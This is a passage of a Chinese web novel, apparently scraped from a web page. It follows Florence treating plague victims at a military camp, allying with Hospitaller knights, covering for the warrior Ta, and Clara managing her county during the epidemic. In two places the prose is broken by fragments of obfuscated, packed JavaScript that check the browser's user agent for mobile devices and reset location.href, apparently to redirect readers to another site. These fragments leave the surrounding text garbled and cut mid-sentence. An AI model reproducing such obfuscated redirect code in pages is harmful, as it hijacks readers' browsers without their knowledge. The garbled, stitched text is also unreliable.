畅通无阻冲进指挥所,指挥所守卫的士兵和骑士根本不是两郡士兵的对手,基本被打晕扔到一旁,不让他们挡住弗洛伦斯前进的道路。 一直到布尔戈男爵急匆匆跑出来,他的铠甲都没来得及穿戴齐整,色厉内荏地大呼小叫着:“你们这是对陛下的不敬!是打算谋反吗!” 弗洛伦斯总觉得布尔戈这个姓氏有些耳熟,或许在哪听过。不过她懒得在乎这些,毫不留情收拾了这位满脸肥肉的男爵。 “住手!我……我可是男爵!”手中的肥猪含糊不清地叫嚷。 “我还是霍德华侯爵之孙呢,我管你是谁,让人和你好好说话不听,非要惹我。” 弗洛伦斯甚至剑都没有拔出来,光用拳头就揍得他满地找牙。这种人到底是怎么被国王重用的,她疑惑不解。 周围有侍卫几次想救下这位男爵,都被弗洛伦斯的士兵拦下。西亚尔玛人和战士们哪怕女性也是人高马大,拦住这些矮脚佬绰绰有余。 鼻青眼肿的男爵终于招架不住,连声问道:“你们……你们到底要做什么?” “把空置的营房清理干净,最新那批病人转移到那里去,以后相同症状的全都转过去。”弗洛伦斯提着他的领子,“我只说一遍,你最好马上给我照做了!不然下次就不是被打一顿这么简单!死肥猪,吃这么胖!” “原来是你……”男爵哆哆嗦嗦地指着她,弗洛伦斯又是一个凶狠地瞪视,他马上道,“好!好!马上就做!” “一开始答应不就好了,非要我折腾这么久,你知道多少个病人等我救治吗?反正士兵对你们来说根本不重要是吧?” 弗洛伦斯越想越气,她在医院每天尽心尽力照顾伤员,巡逻营地的也经常是边陲郡来的士兵。而这些指挥所里的人甚至日常装备都不穿戴,舒舒服服待在后方。 凭什么? 男爵想说些什么,又被她打了两拳,“我们累死累活为了更多士兵活下来,为了守住这块破地,就你在这休息呢?明天我要在医院看到你们的身影,不然我就把你脱光了挂在营地大门!” “我可是指挥官……”男爵挣扎着道,虽然陛下已经隐隐厌弃布尔戈家族,但还愿意让他当指挥官,肯定还是对他寄予厚望…… 等陛下回来,他一定要狠狠告状,绝对又是德文希家找他的麻烦——霍德华家和德文希家是一伙的! 德文希家不仅害死他两个侄子,还杀死了他的姐姐。 想到死去的靠山碧安卡,以及这大半年不知何时会被陛下追责的忧虑。布尔戈男爵难得拿出了几分血性,用全力挣脱了弗洛伦斯的束缚,抽出了宝剑。 “我是陛下亲封的指挥官!这座营地我说了算!你们这么做都是背叛陛下,我有权将你们处死!” 下一瞬,他就被弗洛伦斯踹翻在地,“废物!你倒是处死一个试试!陛下的名声简直被你辱没了!赶紧按照我说的来!” 这场单方面宣泄很快结束了,弗洛伦斯用接过其他人递过来的手帕,擦干净手,留了一批士兵监督他们做事。 只带了少部分人转身离开,眼神都没有分给如烂泥一般躺在地上的布尔戈男爵。 布尔戈还在小声哀嚎着王法、秩序。 弗洛伦斯撇嘴,要不是她已经擦干净手了,还急着去休息会,接下来还有工作,她指不定要再收拾一顿这家伙。 “秩序?法律?你以为这些是生来就有的吗?不过是依靠强权与力量获得服从后,为了管理他人衍生出来的东西。” 克劳拉说这话时,在疾驰的骏马上拉弓射下了一只雄鹿,她身后紧随的骑士们如风一般窜出,将鹿带到她面前。 “弗洛娅,想要将更多的人庇护在羽翼下,更要拥有足够改变秩序的力量。这是这些男人们定下的法则,想要将他们踩在脚下,果然还是要用他们的方法。” 至于之后秩序该如何制定,如何将单纯的畏惧转变为敬畏,又是另外的事情。 弗洛伦斯起初并不理解克劳拉的话,而现在感受到来自四面八方畏惧的眼神后,她忽然理解了。 来自他人的畏惧之心是权力的开端。 弗洛伦斯膨胀的内心,在下午时又破灭干净,那几位患者死亡过半,剩下的也离死亡不远了。 她来不及默哀,又投入繁忙的工作之中。 自从她收拾了布尔戈男爵,吩咐其他士兵做事又快又好。营房被打扫得干干净净,食物和干净的水源也按时按量送来。 连两郡的士兵都鲜少四处巡逻,被其他士兵顶替,他们做好防护工作来帮姐妹会的忙。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13508550|129069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 虽然患病士兵仍然在接连死去,又源源不断有新的患者送来。知情的士兵告知她,奥菲帝国将得病死后的尸体用投石机投至我方军营,导致了大面积感染。 “陛下最初并不放在心上,但是患病的实在太多了……” “这些患者还是活着回到后方的,大部分……在前线、在途中就死去了……” “陛下很可能要撤军了。” 弗洛伦斯一时不知道是该高兴战争要结束了,还是悲伤这些逝去的生命。而更让她担忧的是,在前线的两郡士兵的安危。 所幸送来的士兵一直没有熟悉的面孔。 几天后,简才疲惫地带回来一批药水,告知众人德林郡也出现了感染者,这是巫师塔诸位加班加点研制的基础药方,“一天之内感染者喝这个大概率能治好,久了也只能拖延一下死亡时间。” 这个配方需要大量的草药,而有几种草药根本不可能大批量买到。 弗洛伦斯握紧手中的药方,决定亲自去一趟诺兰郡最大城市的教会。 从军营到诺兰郡中心城快马加鞭需要大半天,弗洛伦斯与少部分士兵轻装上阵。 一路上都能看到逃走的难民,奔跑的马儿极速与民众擦过。也因为他们是一群装备齐全的队伍,没有人敢拦路抢劫。 诺兰郡的情况比弗洛伦斯想象中的要严重得多,中心城门大开甚至没有士兵守卫。 街边房屋门窗紧锁,街上除了乞丐和难民,只有少部分人捂紧衣服藏着怀中的东西快速跑过。 越往城中,弗洛伦斯心中越沉重,军营里是在一周前送来最初一批患者,但诺兰城这种情况,疫病恐怕持续有一个月以上了。 “弗洛娅,教会里是空的。” “城主及家人也不在。” 回来汇报的士兵语气莫名——这座城市,被教会和温斯顿家遗弃了。 弗洛伦斯不了解温斯顿家,准确来说她不了解帝国的大部分贵族。她以为所有贵族都会像霍德华家一样和领民共进退。 但荒诞的现实,让她觉得有些不真实。 “怎么会这样?”她喃喃。如果变成了这样,她要从哪弄来这么多草药,最终治愈的药剂研制出来后,又真的能拯救大部分人吗? 弗洛伦斯有片刻茫然,她停在教会前的广场,仰望着空荡荡的城堡。 士兵们耐心地等待她发号施令。 “弗洛娅,去教会的仓库里看看?”简建议道,如果教会成员逃得很匆忙,应该来不及将大部分仓库里的物品带走,说不定会有部分草药。 “城主府和医者协会的仓库也可以去看看。” “城主府仓库里满是人,”探查的士兵摇头,食物所剩无几,基本被人扫空了,若不是他跑得快,他的马和装备也要被抢走。 但教会不同,没有外人,只有一片空荡。或许因为大部分人觉得这是恶魔的诅咒,所以不敢在教堂造次。 众人分头在教会里四处查探,确实如简所说的那样,仓库里还有部分没来得及带走的食物和药品。草药的数量不多,但聊胜于无。 医者协会里倒是留存了不少草药,简清点了一下,足够熬制几批药水,拖延一下时间了。先将这些带回去,之后再想想其他办法。 现在只能等夜色降临,再将这些搜出来的物资送回营中。 这些乱窜的流民,就和跳蚤老鼠一般,将疫病带到帝国的各个角落。可以预想到不出半年,帝国就会乱成一团。 弗洛伦斯心中万分不忍,草药数量有限,能得到救治的实在是少数。她没办法拯救所有人,只能优先保护她的家人朋友。 忽然,整齐地步履声踏过城镇。 众人望去时,只见银白色的铠甲哪怕是阴沉的天色中,也反射出明亮的光。前襟的红十字给这抹银色添加了一丝明媚的色彩。 “那是?”弗洛伦斯第一次见到这支队伍,他们就这么闯进城里,是想要做什么吗? “是医院骑士。”有士兵认识这支队伍,告知弗洛伦斯。 医院骑士团虽然隶属教会,但是一支很神秘的队伍,人数是三大骑士团最少的,但战力不明,人员构成不明。 据说他们只出现在各大战场,救治战场上受伤的士兵,不论士兵的身份、隶属的国家。 “二十多年前,帝国和奥菲的战场上,陛下误杀过几位医院骑士。从那以后他们从不踏入索滋帝国,如今为什么突然……” 身后士兵的话还未说完,弗洛伦斯急急跑下楼,她要去试探一番这群骑士为何而来,能不能为她为这些平民提供帮助。 “弗洛娅!”简和士兵们紧随她身后。 激烈的跑动,让弗洛伦斯有些气喘,她在队伍的末尾被拦下。医院骑士们举着盾牌,小心谨慎地打量着她以及她身后的众人。 弗洛伦斯挺直腰,扬声道:“你们,是来治病的吗?” 医院骑士群中缓缓走出一位骑士,正是之前领头的骑士长。出于礼节他摘下头盔,半长的棕发不羁地搭在肩头,看上去很年轻,不过三十出头。 他道:“是的,我们为灾病而来,请问您是?” “我是弗洛伦斯·霍德华,不认识我不要紧。”弗洛伦斯说,“我们都是为了消除疫病,要和我们合作吗?” 这是一支奇怪的队伍,除了眼前的女孩,一位女巫,还有众多看不出性别的士兵。通常来说士兵皆为男子,但这支队伍里不少人的身形显然并非男性。 医院骑士团团长饶有兴趣地挑眉,他微微躬身,“荣幸之至,医院骑士团团长维达·范为您服务。” 98. 第98章 有了医院骑士团的加入后,草药的供给有了解决方案。 弗洛伦斯将药方共享给对方,而骑士团则为她们提供一定量的草药。 简犹豫了片刻,因为她并不信任任何来自教会的人员,但还是将决定权交给弗洛伦斯。 骑士团成员戴着奇怪的鸟嘴面具,据说里面塞了部分过滤空气的香料。出于职业敏感,弗洛伦斯询问香料的成分。 维达不顾下属的阻拦,直接将成分坦白,也不是什么重要的配方,互帮互助。 此时医院骑士团正组织搭建一个简易的施粥棚,之后还会分发一些药品。 周围已经隐隐聚集起一些平民,弗洛伦斯的士兵握着武器,目光如炬地盯着这群蠢蠢欲动的平民。 弗洛伦斯建议他将部分香料更换,因为没有任何作用,她报了几种药物,都是些常见的草药。 “你们都没有任何防护,怎么知道我们的面具不起作用?”有骑士粗声粗气道。 维达抬手打断了他的话,并给他一个严厉的眼神,随后才向弗洛伦斯道谢,表示会尝试她所说的草药。 他看出弗洛伦斯绝不是随口一说,至少从之前给出的药方来看,她和她身边的女巫是真的拥有治病的能力。 按照约定他分给了弗洛伦斯一部分草药,并安排骑士护送她们回军营。 “如果之后有帮得上忙的地方,请联系我们,既然我们都是为了同一个目标。同样虽然很无礼,我也恳请你们能够分享最新的药方。”维达再次朝众人深深鞠躬。 介于他还算礼貌,弗洛伦斯没有计较那位骑士的无礼,也没有开口答应他,沉重地点头示意勒马离开。 队伍的行进速度很快,将那些贪婪、觊觎、乞求的目光都抛到身后。 “没想到教会里还是留有血性的人存在。”队伍里有士兵小声感慨。 至少在其他教会成员和领主府管事都逃走的情况下,还有这样一批人愿意站出来。不管他们作秀也好,还是真心也罢,都值得一声称赞。 有了这批草药,少部分士兵的情况得到了控制,但更多的还是走向了既定的死亡。 这种感觉太无力了,尤其是患者在她眼前经历折磨,她却没有任何办法缓解他们的痛苦。不仅仅是弗洛伦斯,在这边营房的姐妹会成员或多或少承受了很大的精神压力。 熬制好的药水被送往前线,同时弗洛伦斯也得到了国王的首肯,诺兰郡能搜刮的草药都被送到军营。 弗洛伦斯偷偷分了一批送到军营外医院骑士手中,他们仍然在诺兰郡四处救治被感染的平民,甚至不少骑士自己也感染上了疫病。 实在不忍他们这样,弗洛伦斯为他们指路,让他们去寻求克劳拉的帮助。 半个月后的清晨,医院传来一阵喧哗,浑身是血的塔被送进医院中,随行的战士执意要弗洛伦斯前来治疗。 弗洛伦斯刚结束晚上的工作,换上干净的服装,满身怨气直到见到熟悉的人瞬间消散。 她焦急地让战士们将塔推进单间内,刚想喊上其他女孩给她打下手,却接收到战士们隐晦的目光。 最终只有简陪她进入小单间。 门刚刚合上,确认没有外人后,塔坦然睁开双眼,坐起身向弗洛伦斯道谢。 “抱歉,为了骗得国王的信任,我必须受一些伤。”塔身上的伤早已愈合,只余下晕染的血迹。 不过为了骗过国王的人,他还是请求弗洛伦斯替他裹好伤口,弄些药草的气味。 以为他真受了重伤的弗洛伦斯松了一口气,但是塔锁子甲上的大片血迹不似造假。她理智地没有多问,拿起绑带替他包扎。 边包扎边问起了她的士兵同伴们的情况。 “军队超过三分之一感染了那种疫病,不过因为您和姐妹会送来的药水传染速度已经得到了控制。” “抱歉,我们的人有部分伤亡,所幸几乎没有染病的。” 塔拿出一叠铭牌,珍重地交给弗洛伦斯,目测有百来块。这是西亚尔玛的传统,用布匹写下名字缝在士兵身上,再后来换成了铁制的小铭牌。 隶属德林郡的士兵铭牌同样被塔收得好好的。 “我没法带回他们的尸首,至少带回他们的名字。” 尽管战争伤亡是不可避免的,弗洛伦斯还是很难过,简将这些铭牌一一消过毒才帮她收好。 沉默地包扎完后,为了不让人怀疑,弗洛伦斯和简在房间内简单地休息了片刻。 她们眼下的青黑实在太过于浓重,塔和战士们保持安静,没有打扰她们。 直到有国王骑士来扣门,弗洛伦斯警觉地睁开眼。 “还请您帮我们隐瞒。”塔又装作虚弱地模样,躺回床上,甚至不惜在手臂上弄出伤口,将绑带染红。 弗洛伦斯装作一无所知,戴好口罩,端着器具走出房门。 门外传来弗洛伦斯应付国王骑士的声音。不多时,两位骑士不顾她的阻拦闯入室内,确认塔的伤势。 弗洛伦斯在他们身后愤怒地摔了铁盘,骂骂咧咧着脏话,“不相信我的话,你们来治?我几个月没有好好休息,累死累活就是让你们来指责我眼瞎?连有没有受伤都分不清?” “去你的吧!老娘不干了!” 她怒气冲冲地冲下楼,简凭借这么多天相处的的默契,立刻理解了她的意思,忙追在她身后,稍稍抬高声音, “国王骑士怎么会怀疑你的能力呢,只是担心士兵们的安危,他们绝对没有看不起你的意思!只是一直身处前线,没看到大家的付出而已!” “既然不相信我,那他们去找值得信任的医者不就好了!反正我不过是个女人,一定有的是厉害的医者能够帮他们看病。” 弗洛伦斯演得有些太真情实意了,弄得简都有些怀疑她是不是真的这么觉得。 其他人也都相信了,能动的和不能动的士兵都出言挽留弗洛伦斯。不那么忙的姐妹会成员纷纷过来安慰她。 等到国王骑士下楼后立刻收到了来自四面八方的谴责的目光。 “嘿伙计!虽然你们是国王骑士,但也不应该对弗洛伦斯小姐她们不尊重!还不快道歉!” “骑士美德尊重女性,希望这一条准则你们还记得,不会被奥菲的家伙打到忘记你母亲是谁了吧?” “道歉!道歉!” 国王骑士觉得这帮家伙简直疯了,只是怀疑一下楼上那个异族的伤势,怎么上升到对这群医护的不尊重了。 那家伙怎么看都不像重伤要死的样子,但是又确实替陛下挡住了致命一击。国王骑士眼中闪过一丝怀疑,很快又被铺天盖地的要求道歉的声音扯回现实。 他们张口想要争辩哪里看不起她了,只是例行公事确认一下伤口。 弗洛伦斯直接堵住他们的话头,“我好不容易将那位重伤的士兵给救过来了,你们又要怀疑他的伤势,怀疑我作假。你们既然不想让他活着,那还送过来干嘛?” 瞬间,其他士兵的表情都变了。在战场上受伤死亡,和国王的人想让他们死亡完全是不同的概念。 是人就想活下去,他们当然不会怀疑国王,只会认为这是国王骑士的私仇。 简趁机挑拨,“据说国王骑士们在德林郡,有几位因为对领主不敬被杀死,这位重伤的战士又恰好来自德林郡……” 因为不满领主,又不敢直接对领主本人下手,只能偷偷针对领主的士兵——这实在是太卑劣了! 不尊重女性和暗中对士兵下手,后者绝对更能让这群病人愤怒。 果不其然,几位正在医院的小贵族立刻愤怒地表示会上报国王或是他们的上司某公爵、侯爵。 国王骑士百口莫辩,最终灰溜溜地被赶出医院,后续都无法再踏入医院,几次想确认塔的伤势都无从下手。 为避免怀疑,弗洛伦斯第二天照常来替塔换药,对外声称塔病得很重,只能她照顾。 进房时,塔正在锻炼。弗洛伦斯下意识就让他躺回病床休息,然后才想起这家伙没有受伤。 但是绑带还是要换的,得做样子给外人看。 她与塔并不相熟,只是公事公办聊了几句。塔对昨天的事表示了感谢,若不是弗洛伦斯和简帮忙,他的伤多半会被国王骑士发觉。 弗洛伦斯换绑带时,塔问道:“您与希姆经常有信件来往,她……有没有问起我的事?” 手中动作一顿,还真有。准确来说是她写给克劳拉的信中提到塔在前线的情况,而克劳拉回复的几个充满怒气的大字:不用管他! 好吧克劳拉的语气很普通,但是弗洛伦斯就是从笔触中觉得克劳拉应该不高兴了。 “嗯……克劳拉很忙。”她委婉地说,“德林郡也出现了疫病,不知道扩散情况怎么样,但是克劳拉肯定忙得飞起来了。” 病房里陷入寂静,只有弗洛伦斯整理物品的声音,她端起铁盘准备离开。 塔又迟疑着开口,“国王要撤兵了,一周后我大概会和他们前往王都,您认为……我应该去见她一面吗?” 昏暗的灯光下,塔的神色有些迷茫。弗洛伦斯眯着眼打量起他来。 克劳拉的绯闻并不是什么秘密,对于在学校的女孩们来说,偶尔讨论这种事能够增进感情。但学校里几乎没有异性,能讨论的对象就只有克劳拉和她身边的诸多骑士了。 各种各样都有,不仅仅是几位骑士,甚至还有克劳拉和伊登兄妹、或是和大巫、和安娜禁忌之恋的讨论。有些实在太离谱了,弗洛伦斯经常感慨女孩们的想象力。 但和其他女孩不同,她知道克劳拉的身份是准王子妃,迟早要和帝国唯一的王子结婚。 对于塔的单恋,她纠结了一下,冷淡地说:“你要是实在想的话就回去一趟吧,我会为你打掩护。” 门合上前,她听到一声轻轻的谢谢。 当天晚上,简留了一张字条一同回去了。弗洛伦斯将字条置于蜡烛上,耐心地等待它燃烧殆尽。 “弗洛娅,该休息了。”室友喊她熄灭蜡烛。 “就来了。” 克劳拉确实很忙,忙得吃饭的时间都没有了。领地好几座村庄都有感染者出现,她不得不到处跑安抚领民。 连轴转了几天,今天终于赶在12点前回到城堡休息。 这场疫病感染者死得太快了,基本上发现症状后,三到四天内就会死亡,即使喝了初始配方痊愈,后续仍然可能再染上。连几位大巫都觉得棘手。 所幸德林郡应对及时,并没有爆发大规模感染。而玛格丽特当机立断让所有领民进入要塞,杜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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克劳拉问了几次,忍不住转头看他,绸缎一般的长发从塔指尖滑过。 “问你话呢?前线感染的士兵很多吗?” 塔这才如梦初醒般,“大约三分之一,染病后几乎全部死亡了,少部分被送到了姐妹会那里。” “按照您之前教给我们的方法,我们的人几乎没有被感染的——至少我离开时没有。” “嗯。”克劳拉算了算,出征的士兵才堪堪万人,三分之一感染也不算少了,古斯塔这下不得不撤兵离开,也不知道他会派人留守已经攻打下的城市吗。 塔的动作实在有些慢,弄得她都快抵挡不住睡意了。但湿漉漉的睡裙实在不好受,用手感受头顶的发丝已经干了,只有发尾微微潮湿,她抬手挡住了塔的下一步动作。 “好了,不用擦了,布巾随便挂在哪,明天女仆们会来收拾。”她光着脚轻巧地跃下床,去翻找新的睡裙,“你继续说,怎么突然离开了古斯塔身边?” 塔手中拿着布巾,犹豫着不知道放哪,索性叠好摆在了床尾的凳子上。又将为古斯塔挡伤、和弗洛伦斯骗过国王骑士的前因后果道出。 他下意识寻找克劳拉的身影,侧首却发现克劳拉毫不避讳地背对着他换睡裙,立刻如被针扎了般收回视线,僵硬着不敢动弹。 他隐隐感觉到自己发烫的脸,幸好黑暗中克劳拉应当看不出什么。 “所以现在古斯塔的人都以为你重伤躺在医院,而你却偷偷跑回来了。” 塔低低地嗯了一声,茫然地立在床尾,低垂着头像是犯了错一般。 视野里出现一双白皙的脚,往上是线条流畅的小腿。 塔微愣,回答道:“国王许诺我伤好后前往王都授勋,您要求的事……” 克劳拉忽然发力,将塔按倒在床上,膝盖抵住他的腰腹,手撑在他的肩膀上,另只手微微搭在他的颈侧。 这是一个带有极度控制欲的姿势,若是其他人这么做,塔会立刻将他绞杀,毫不犹豫——但眼前的人是克劳拉。 她眼中含着一丝怒气,居高临下地俯视塔。 她说:“搞清楚一点,我才是你的国王。” 塔的大脑有瞬间的空白,昏暗中他能清楚地描绘出克劳拉的面容,如宝石般的绿眼睛在黑暗中灼灼地逼视着他——也只有他。 顺着克劳拉的话他呢喃道:“当然,您才是我的王。我是说古斯塔——” “好了,闭嘴。” 空着的手直接捂住塔的嘴,克劳拉顺势往他肩上一倒,闭眼蜷缩着靠在塔怀里。 “鞋子脱了不要弄脏我的床,我很困,所以保持安静。” 克劳拉的声音越来越低,最后只余下均匀的呼吸。半梦半醒间她感觉到塔细微的动静,以及搭在腰间的手掌的温度。 皱着眉换了个更舒适的睡姿,察觉到被她当做抱枕的某人身体微僵,早已不是一无所知的克劳拉不悦嘟囔道:“你要是管不住那玩意,我就让术士像对待那些猪一样对你……” “抱歉……” 已经沉沉睡去的克劳拉,全然不管忍耐得青筋暴起的塔。 这也是奖励的一部分吗?塔睡着前忍不住想。 99. 第99章 马匹装载着货物,行走在山麓间。再往前些就能望见一望无际的巨木森林。 层层叠叠的树枝遮天蔽日,人仅仅站在这些巨木之下,就忍不住新生畏惧。 而在森林边缘,众人忙着清理灌木,扎营安寨。女巫运送而来的武器整齐地堆放在帐篷里。冰冷的外壳,漆黑的炮口,森然地对准巨木的方向。 赫利斯原本不想接下这份合作的,里纳族很少主动招惹巨魔,毕竟他们可不像某个好战的部落,伤口可以快速愈合。 里纳族的战宠在巨魔面前几乎鲜有还手之力,而战宠对每位族人来说都是如家人般的存在。 但赫利斯觊觎的是这片森林,能孕育巨魔这种怪物,数不尽的危险将人类拦死在外围,这座森林里绝对拥有数不尽的宝物。 德林郡和西亚尔玛离这里都有些距离,不像里纳族,就在附近。 一旦成功驱逐巨魔,在巨木之间清理出一条道路,产生的利益是巨大的。而德林郡只需要白珠用于控制疫病,其余的里纳族几乎可以独占,赫利斯想不出理由拒绝。 而且巫师塔研制出的巨炮也让赫利斯很感兴趣,可以预料到这种强劲的武器普及后,整个大陆局面都会因此改变。 托里曼人虽然拥有图腾之力,但也很难直面这种恐怖武器,所幸掌握它们的克劳拉很克制。 赫利斯是一位祭司,她不仅仅要为自己考虑,更要为族群的延续考虑,这种火炮她必须了解透彻,并且让族人也了解掌握。 等到南边疫病结束,她就将族里的小崽子都送去学校,可不能让维尔图那群野蛮人抢先。 “你一直闷闷不乐的,来和姨妈分享一下?”她收回跳脱的思绪,将目光转向身旁闷闷不乐的伊登。 伊登能说是因为在城堡呆不到三天就被赶走了吗。他自我安慰,若拉一定是担心他感染上疫病,所以让他来德林北避灾。 幸好他看不顺眼的家伙都不在郡里,尤其是黄眼睛的小子。 “你好像很讨厌维尔图的少主。”赫利斯不在乎他的沉默,没话找话,“所以你也很讨厌克劳拉那位神秘的未婚夫,你们南人的王子殿下?” 确实都讨厌,但更讨厌塔。或许是因为安德鲁·古斯塔可不会天天待在克劳拉身边碍眼,也或许是因为他清楚地知道克劳拉不喜欢安德鲁。 “黄眼小子更讨厌些,若拉对他太不同了。”虽然很不想承认,双生子的感应很玄乎,伊登就是能感知到那种微妙的不同。 那小子可精着呢,赫利斯没克制住翻白眼,伴生图腾最早是一种奴隶图腾,奴隶分担主人所有伤害,死亡也不会对主人造成任何影响。 若是换成别人面对的绝对是不留情面的利用,但克劳拉不会。莫名结下共生图腾会让克劳拉反感,而伴生图腾则正好卡在克劳拉愧疚和利用之间。 赫利斯叹口气,早知道就教孩子心狠手辣,不留余地了。 “伊登!过来喝酒!”侯爵的大嗓门在哪都很震耳,他围着篝火,举着酒壶和士兵们笑谈。 伊登迟疑着回望赫利斯。 “去吧。”赫利斯托腮瞭着森林,她还要警戒,可不能随意放松。 小辈们的事让他们自己折腾吧,她可不想年轻时给蒂斯□□情指导,年纪大了后还要指导她的孩子。 不到六点,生物钟准时让克劳拉从睡梦中醒来。 虽然这是这周里难得的好觉,但刚醒的克劳拉还是很暴躁。 习惯性地用额头狠砸枕头,身下的枕头不仅触感不太对,还发出一声沉痛的闷哼。 克劳拉瞬间清醒了,捂着泛红的额头,怒道:“你不知道躲吗?” 无辜被迁怒的塔还没来得及解释一句,就被克劳拉赶出了房间,毫不留情,用完就丢。 站在门口的塔,还没弄清状况,又被满身怨气的安娜挤开,带着一众女仆涌入房间。 趁其他女仆为克劳拉穿衣,安娜警觉地在房间内走动着,又低声嘱咐女仆稍后将床单全都换洗。 克劳拉好笑地瞥她一眼,没有多说什么,也没有解释塔出现在她房间的原因。 吩咐好任务后,安娜才对着克劳拉道:“雪莉她们已经回城中了,以防万一,在城中住上一阵再回城堡里来,萨曼递交的文书已经放到书房。菲米娅管家那边有事想要向您汇报,晚些时候会过来。” “嗯。”安娜的口气还算正常,看来商队目前情况良好。 “您的早餐是在书房用餐,还是去楼下餐厅?” “送到书房,两份。今天暂时不用外出,你可以回巫师塔。” 话音刚落,克劳拉就被安娜的表情逗笑了,弹了下她的额头,“正好替我给大巫带话。” 安娜应下,开始替她盘发。对着镜子,将头发剪去的想法又闪过克劳拉脑中。 似乎她认识的所有女性都留着长发,怎么从未有人提起过难打理,浪费时间。 女仆替她别好袖扣、宝石胸针时。克劳拉意识到,那些繁琐的裙装耗费的时间更多,且每天都得穿着还要化妆。这么比起来,打理头发实在算不上什么。 比如以往她见一面安德鲁至少要花费一两个小时。但对于贵女们来说,除此之外似乎也没有别的事可以做了。 而现在的她每天实在很忙,没有多余的时间耗费在这上面,才会觉得麻烦。 等闲下来再处理头发的事吧,克劳拉心想。 塔还站在门外,像以往一般,为克劳拉守着房门。最近领地里需要的士兵太多了,城堡中都没有足够的侍卫执勤。 安娜领着女仆们又鱼贯而出,离开前又忍不住狠狠瞪了塔——不安分的家伙,不老老实实待在古斯塔身边,又偷摸着往小姐身边凑,太讨厌了!比莫兰特那只花孔雀讨厌一万倍! “走吧,你今天得一直跟着我。”穿戴整齐的克劳拉,大步朝向书房。 塔观察她的神情,目前心情很好,他放下心来,抬脚跟上。 今天天气很好,阳光透过长廊的窗户将克劳拉的影子拉得很长。 克劳拉往窗外远眺,目之所及是满目绿色。疫病并未对自然造成影响,草木仍然旺盛生长着。 但因为疫病,部分农户都没来得及春耕,预想到今年秋收的情况会很糟糕。 所幸克劳拉屯了足够全郡人什么都不做,空吃上两年的口粮,甚至还能供军队。 她唯一担心的是,这场灾难两年内无法结束,毕竟原剧情里也经历了数十年之久,王国内部一片混乱。 即使安德鲁成为国王,恢复往日安宁的似乎也只有王都——该不会是因为王都之外平民几乎已经死无可死了,这场灾病才画上终止符。 忽然,克劳拉脚步一滞——古斯塔的死因真的是战场旧疾吗? “塔,你回到古斯塔身边后,密切关注他的身体状况!” 她的神情太过严肃,让塔也心中一凛,在脑中快速回想古斯塔的身体情况,“古斯塔应该还没有染上疫病——所以您需要他染上吗?” 如果需要的话,他会用尽手段完成,反正这么多士兵感染了,古斯塔身边的人染上也是很正常的事。塔蠢蠢欲动。 克劳拉沉默了瞬,眼神复杂看着他,确实让古斯塔染病是最好的选择——不对不对,时机不对,还不到安德鲁成为国王的时候,古斯塔还是活着吧。 克劳拉按下了心中的欲望,这会她准备还不够充分,“不用,你关注他就行。” 萨曼的文书中提到回程途经的几个郡都有感染者的消息,但并未引起当地领主的重视。 可以预料到除德林郡和西亚尔玛,其他地区迟早也会像诺兰郡一般,爆发大规模疫病。 克劳拉帮不了那么多人,她已经提醒过安德鲁了,也将地豆推广至整个帝国,按理来说如今帝国不缺粮食,缺的只是治病的方法和医者。 话虽如此,克劳拉还是时刻关注着药方进度,她可不想成为国王后统治的不过是个没有民众空壳。 驻守诺兰郡的是温斯顿家的旁系亲属,也不知道他们逃去哪了。她盘算着等伊登回来,再让他去将诺兰郡拿下,这可是极佳的机会,既然温斯顿家不要了,就不要怪她接手了。 此时远在德林北,正指挥士兵运送炮膛的伊登突然一个寒颤。 赫利斯关切地询问他是否感冒了。 “总感觉未来一片荒芜。”伊登莫名感慨。 孩子大了,总会经历迷茫期,赫利斯立刻对他进行思想上的引导和教育。伊登闭上了嘴。 菲米娅要汇报的事也不复杂,仅仅是因为给被封锁的村庄发粮,其他未出事的村庄嫉妒眼红了。 有人在暗暗盘算着闯进封锁线,染上疫病后再回家,这样整个村庄都能吃上领主发的粮食。并已经付出了行动。 “士兵已经拦下了好几个了。都不是封锁区往外闯,而是想要进去的人。”菲米娅说话间,眼神几次投注到塔身上,欲言又止。 克劳拉简直要被这种匪夷所思的做法气笑了。哪怕宣传的士兵反复多次强调,这种疫病染上了基本就是死亡,且过程非常痛苦,仍然有人仅仅因为一点点粮食,就铤而走险。 他们没见识过疫病,体会不到那种恐惧,更在乎眼前得到手的利益。 克劳拉闭眼捏了会鼻梁,“让女巫们做好准备,亚克去将村长都聚集起来,既然他们想见,就带他们看看患者的真实情况吧。” “再带他们去最初的村庄转转。” 最初被封锁的村庄活着的民众已经转移了,从发现第一位患者到现在短短一个月,哪怕蕾莱亲自带领医护坚守,也死亡过半,患者染病五天内即刻死亡。 整整半个月,烧毁尸体的大火一直难以熄灭,每天都会送来新的尸首。 女孩们和士兵都出现了一定程度的精神恍惚,克劳拉不得不让她们隔离休息。 如果见到这些,村长还放任村民作死,克劳拉也无从下手了,她难以改变该死鬼的命运。 “把封锁区村民的配额减少,士兵的配额加大,对外声称是给士兵的。” 菲米娅知道该怎么提点士兵,略过这个话题,转而汇报起城中最近爆发了几次小型混乱。 不少人认为德林郡不安全,想要离开前往外地,与守卫城门的士兵爆发了几次冲突。 今晨,萨曼的商队回城时,有人趁机冲出了城外。 “随他们去吧,如果有再闹事的,将外地的情况告知他们,这样他们还要离开的话,那就不要再回德林郡了。其他城镇也一样,一旦离开,再想回来绝无可能。” 既然领民不领情,她又何必强求,克劳拉的声音很冷漠,隐约带着怒气。 “好,我立刻安排到位。您记得要按时用餐,不要太劳累。” 早餐克劳拉又没吃多少,今天女仆端着空盘离开,菲米娅还以为克劳拉今天难得胃口很好。等到了书房见到塔,她隐隐预感那两份食物多半入 